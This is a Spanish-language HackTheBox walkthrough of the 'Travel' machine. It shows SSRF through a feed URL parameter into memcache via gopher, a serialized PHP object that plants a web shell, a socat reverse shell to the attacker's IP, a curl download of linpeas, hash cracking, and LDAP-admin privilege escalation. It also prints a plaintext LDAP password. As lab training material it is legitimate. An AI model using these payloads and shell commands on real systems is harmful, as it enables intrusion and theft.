HackTheBox. Viaje de pasaje. Memcache + SSRF = RCE, LPE sobre LDAP



Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .



En este artículo, descubrimos cómo obtener RCE usando PHP memcache y SSRF, profundizamos en la base de datos y vemos qué es peligroso para el administrador LDAP.



La conexión al laboratorio es vía VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.



Información organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tiene una dirección IP de 10.10.10.189, que agrego a / etc / hosts.



10.10.10.189 	travel.htb


El primer paso es escanear los puertos abiertos. Dado que se necesita mucho tiempo para escanear todos los puertos con nmap, primero lo haré usando masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a 500 paquetes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






Ahora, para obtener información más detallada sobre los servicios que se ejecutan en los puertos, ejecute un escaneo con la opción -A.



nmap -A travel.htb -p22,80,443






Por tanto, tenemos acceso al servicio SSH y al servidor web nginx. El escaneo muestra a qué DNS está destinado el certificado. Agreguémoslos a / etc / hosts.



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


Echemos un vistazo a estos sitios. En el primero, encontramos la descripción del sitio.







El segundo es más interesante. Inmediatamente vemos que se trata de un CMS de WordPress y encontramos el formulario de búsqueda.







Comprobando rápidamente el sitio con wpscan, no encontramos nada. Vamos más allá y el tercer sitio se encuentra con un error 403. Repasemos los directorios. Estoy usando gobuster para esto. En los parámetros especificamos el número de streams 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






Encuentra .git. Podemos copiar el repositorio.







Esto se puede hacer con una variedad de programas, yo uso el script rip-git .



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






Y en el directorio del directorio actual, veremos los archivos resultantes y el repositorio .git.







Usamos gitk para trabajar con .git.







Hay un registro de cambios, del cual notamos la presencia de un caché y controles de seguridad.







En el archivo rss_template.php, marque memcache, la presencia del parámetro url y debug.







El parámetro debe contener la cadena "custom_feed_url". Y lo más probable es que se realice una solicitud en esta dirección.







La página RSS estaba en blog.travel.htb .







Iniciemos un servidor web local y accedamos a awesome-rss, pasando nuestra IP como parámetro.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






Y observamos que los supuestos son correctos. Cabe señalar que si falta la URL, se seleccionará www.travel.htb / newsfeed / customfeed.xml .



Punto de entrada



El README dice que mueva estos archivos a wp-content / themes / twentytwenty (lo cual noté al buscar el archivo debug.php). Y el archivo de depuración se puede encontrar allí.











Entonces, todo esto es interesante y aún no está claro, pero parece que son datos serializados. Recopilemos una cosa de toda la información:
  1. Necesitamos contactar al servidor y obtener el archivo feed.xml.



  2. La función a la que se pasa la URL utiliza la API SimplePie (que tiene buena documentación ) y Memcache. Esta función devolverá un objeto simplepie.



  3. La función url_get_contents se proporciona en template.php. Al mismo tiempo, vale la pena comprobarlo, lo que no debería darnos la oportunidad de acceder a archivos en el servidor. Pero el filtro SSRF no es lo suficientemente correcto, ya que también podemos acceder a localhost usando las direcciones 127.0.1.1, 127.1, 127.000.0.1, etc.



  4. A continuación, se muestra la información del archivo feed.xml.
  5. También hay una clase TemplateHelper y una función init () que escribe los datos transferidos en el archivo especificado.





Queda por averiguar en qué archivo del directorio de registros se escriben los datos serializados. Consultemos la documentación:







Así, la ruta se interpreta como MD5 (MD5 (url) + ": spc"). Comprobémoslo, y para ello descargamos el archivo xml de la url predeterminada.



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


Ahora pasemos a la página RSS, pasando el archivo descargado a la URL.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


Y obtenemos los datos serializados.



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






Y ahora, usando la fórmula anterior, calculamos la ruta interpretada.







¡Y los primeros 10 bytes coincidieron! Aquí es donde se describe el vector de ataque: PHP memcached y SSRF. Una búsqueda en Google me llevó a este guión .







Solo necesita cambiar el código para nuestro caso. Creemos datos serializados.



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


Así, escribiremos el código <? Php system ($ _ REQUEST ["cmd"]); al archivo ralf.php al deserializar. La clave que más nos interesa es xct_key, que ya podemos calcular.







Luego obtenemos el siguiente código para crear una carga.



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


Y deserializaremos.



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


El código completo se presenta a continuación (como siempre una imagen).











Ok, hagamos una caminata normal. Pero como hubo problemas con python pty, creemos un shell de conexión posterior usando socat. Comencemos el oyente en el cliente:



socat file:`tty`,raw,echo=0 tcp-listen:4321


Y conéctese desde el servidor:



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






USUARIO



Por lo general, en tales casos, debe verificar la base de datos del usuario mediante wordpress. Busquemos el archivo wp-config.php.







Con estas credenciales, conectemos a mysql, nuestra tarea es encontrar la tabla wp_users.



mysql -h 127.0.0.1 -u wp -p


Miremos las bases de datos.







Echemos un vistazo a la base de datos de wp.











Y encontramos la tabla requerida.







Es cierto que cuando intentamos forzar el hash con fuerza bruta, fallamos. No existen tales contraseñas. Luego descargué el script linpeas a la máquina e hice algunas enumeraciones básicas.



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


No encontramos nada especial, excepto que estamos en el contenedor de la ventana acoplable.







Pero este script no comprueba el directorio opt. Y como acabamos de encontrar una copia de seguridad de la base de datos.







Si miramos las líneas en este archivo, hay una entrada sobre dos usuarios al final.







Pero el segundo es simplemente brutal.







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






Y con la contraseña encontrada, conéctese a través de ssh.







RAÍZ



También encontramos dos archivos interesantes en el directorio de trabajo del usuario: .ldaprc y .viminfo.







Veamos qué hay dentro. Así, en el primer archivo encontramos el registro ldap de nuestro usuario.







Y en el segundo su contraseña ldap.







Vamos a ver. Llame a ldapwhoami con las opciones -x (autenticación simple) y -w (contraseña).



ldapwhoami -x -w Theroadlesstraveled






Vemos una entrada del archivo .ldaprc. Pidamos información.



ldapsearch -x -w Theroadlesstraveled










Así, obtenemos una lista de usuarios y sabemos que somos un administrador LDAP. Es decir, podemos crear una clave SSH para cualquier usuario, cambiar la contraseña e ingresar al grupo sudo! Grupo sudo - 27.







Creemos un par de claves.







Ahora creemos un archivo de configuración.







Aplicémoslos al usuario frank.



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






Y conéctese a través de SSH



ssh -i id_rsa frank@travel


Ahora usemos sudo con nuestra contraseña.







Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad en la que haya personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos mutuamente en cualquier tema de TI y seguridad de la información.



All Articles